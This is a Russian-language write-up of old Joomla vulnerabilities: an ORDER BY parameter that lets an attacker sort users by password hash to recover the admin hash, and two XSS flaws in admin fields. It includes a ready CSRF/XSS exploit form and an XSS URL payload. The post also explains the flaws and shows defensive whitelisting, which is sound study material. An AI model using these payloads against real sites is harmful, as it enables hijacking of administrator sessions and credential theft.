Уязвимости Joomla

Hint: flag is not a frag: once you've got it, you can get one more...

Эти уязвимости были когда-то мною опубликованы на античате
Бесполезная бага в Joomla или "логическая sql-инъекция"

Взглянем на скрипт \joomla\administrator\components\com_users\views\users\view.html.php.
Там есть такой участок:
PHP код:
 $query 'SELECT a.*, g.name AS groupname'
            
' FROM #__users AS a'
            
' INNER JOIN #__core_acl_aro AS aro ON aro.value = a.id'
            
' INNER JOIN #__core_acl_groups_aro_map AS gm ON gm.aro_id = aro.id'
            
' INNER JOIN #__core_acl_aro_groups AS g ON g.id = gm.group_id'
            
$filter
            
$where
            
' GROUP BY a.id'
            
$orderby
        


Выше определена переменная $orderby:
PHP код:
 $orderby ' ORDER BY '$filter_order .' '$filter_order_Dir

Причём переменные $filter_order и $filter_order_Dir определяются пользователем.
В админке во всех секциях есть hidden-поля в формах с этими переменными.
Что ж, подставим левые значения, например, asd и fgh соответственно: http://localhost/joomla/administrator/index.php?option=com_content&filter_order=asd&filter_order_Dir=fgh
Получаем следующий ответ:
Код:
500 - An error has occurred! DB function failed with error number 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'fgh, section_name, cc.title, c.ordering LIMIT 0, 20' at line 1 SQL=SELECT c.*, g.name AS groupname, cc.title AS name, u.name AS editor, f.content_id AS frontpage, s.title AS section_name, v.name AS author FROM jos_content AS c LEFT JOIN jos_categories AS cc ON cc.id = c.catid LEFT JOIN jos_sections AS s ON s.id = c.sectionid LEFT JOIN jos_groups AS g ON g.id = c.access LEFT JOIN jos_users AS u ON u.id = c.checked_out LEFT JOIN jos_users AS v ON v.id = c.created_by LEFT JOIN jos_content_frontpage AS f ON f.content_id = c.id WHERE c.state != -2 ORDER BY asd fgh, section_name, cc.title, c.ordering LIMIT 0, 20

Как мы видим, наши значения попали в sql-запрос. Но они всё же фильтруются - большая часть спецзнаков не пропускается, разрешены, например, точки, поскольку они нужны в нормальном запросе.
Казалось бы, из такой "sql-инъекции" ничего кроме префикса таблиц не выжать.
Однако, просмотрим админку и увидим страницу управления пользователями: http://localhost/joomla/administrator/index.php?option=com_users
Вышеупомянутые параметры в этой секции используются для сортировки пользователей (подставляются в ORDER BY).
И тут внезапно: а что если отсортировать их по паролю?
Ну: http://localhost/joomla/administrator/index.php?option=com_users&filter_order=a.password
Теперь можно создать пользователя, сделать ему какой-то пароль, затем отсортировать на этой странице, и мы увидим, где по алфавиту находится хеш админа - выше или ниже хеша нашего пользователя.
Далее можно организовать бинарный поиск и вытащить весь хеш админа.
Конец.

P.S. Разумеется, эта бага в Joomla совершенно ничего не даёт, поскольку она в админке, а xsrf там нет, а самое главное -- нет хорошего способа генерировать md5-хеши наперёд заданного вида. Я написал про неё лишь для того, чтобы показать саму возможность подобных атак. Такая ситуация может возникнуть, например, в форумном движке, где список пользователей может быть доступен каждому. Мораль: переменные надо не только фильтровать на спецсимволы, но и проверять введённые данные на логическую совместимость.

P.P.S. В vbulletin, например, скрипт memberlist.php ограничивает параметры для сортировки:
PHP код:
 switch ($sortfield)
    {
        case 
'username':
            
$sqlsort 'user.username';
            break;
        case 
'joindate':
            
$sqlsort 'user.joindate';
            break;
        case 
'posts':
            
$sqlsort 'user.posts';
            break;
        case 
'lastvisit':
            
$sqlsort 'lastvisittime';
            break;
        case 
'reputation':
            
$sqlsort iif($show['reputationcol'], 'reputationscore''user.username');
            
$secondarysortsql ', user.username';
            break;
        case 
'age':
            if (
$show['agecol'])
            {
                
$sqlsort 'agesort';
                
$secondarysortsql ', user.username';
            }
            else
            {
                
$sqlsort 'user.username';
            }
            break;
        default:
            
$sqlsort 'user.username';
            
$sortfield 'username';
    } 
Joomla XSS

XSS присутствует в компоненте com_admin.

Уязвимая строчка в \joomla\administrator\components\com_admin\admin.admin.html.php:
PHP код:
 <input type="text" name="helpsearch" value="<?php echo $helpsearch;?>" class="inputbox" /> 

Заходим на http://localhost/joomla/administrator/index.php?option=com_admin&task=help.
Там есть поле для поиска. Текст из него не htmlspecialchar-ится, но какая-то странная фильтрация есть.
Почему-то, если набрать, скажем, так: "><img src="blabla....., этот тег обрезается, то есть написать новый тег у меня не получилось.//striptags() ?
Что ж, приходится обходиться свойствами тега <input>.
XSS в post-параметре админки, поэтому она не работала бы без XSRF.
Собственно, сплойт:

Код:
<html> <body> <form action="http://localhost/joomla/administrator/index.php?option=com_admin&amp;task=help" method="post" name="adminForm"> <input class="text_area" type="hidden" name="option" value="com_admin" /> <input type="text" name="helpsearch" value='" size="1000" onmouseover="alert()' class="inputbox" /> <input type="submit" value="Go" class="button" id="xsrf"/> <input type="hidden" name="task" value="help" /> </form> <script>document.getElementById("xsrf").click();</script> </body> </html>



В чём суть: я сделал так, чтобы поле поиска стало длинным, так что, если админ проведёт мышкой по экрану, сработает xss. Вероятность этого весьма велика.
Joomla XSS

XSS наподобии той, что описана выше, но удобнее:

Код:
http://localhost/administrator/index.php?option=com_content&search=%22%20size=100%20onmouseover=alert()%20bla


Никаких CSRF и post не нужно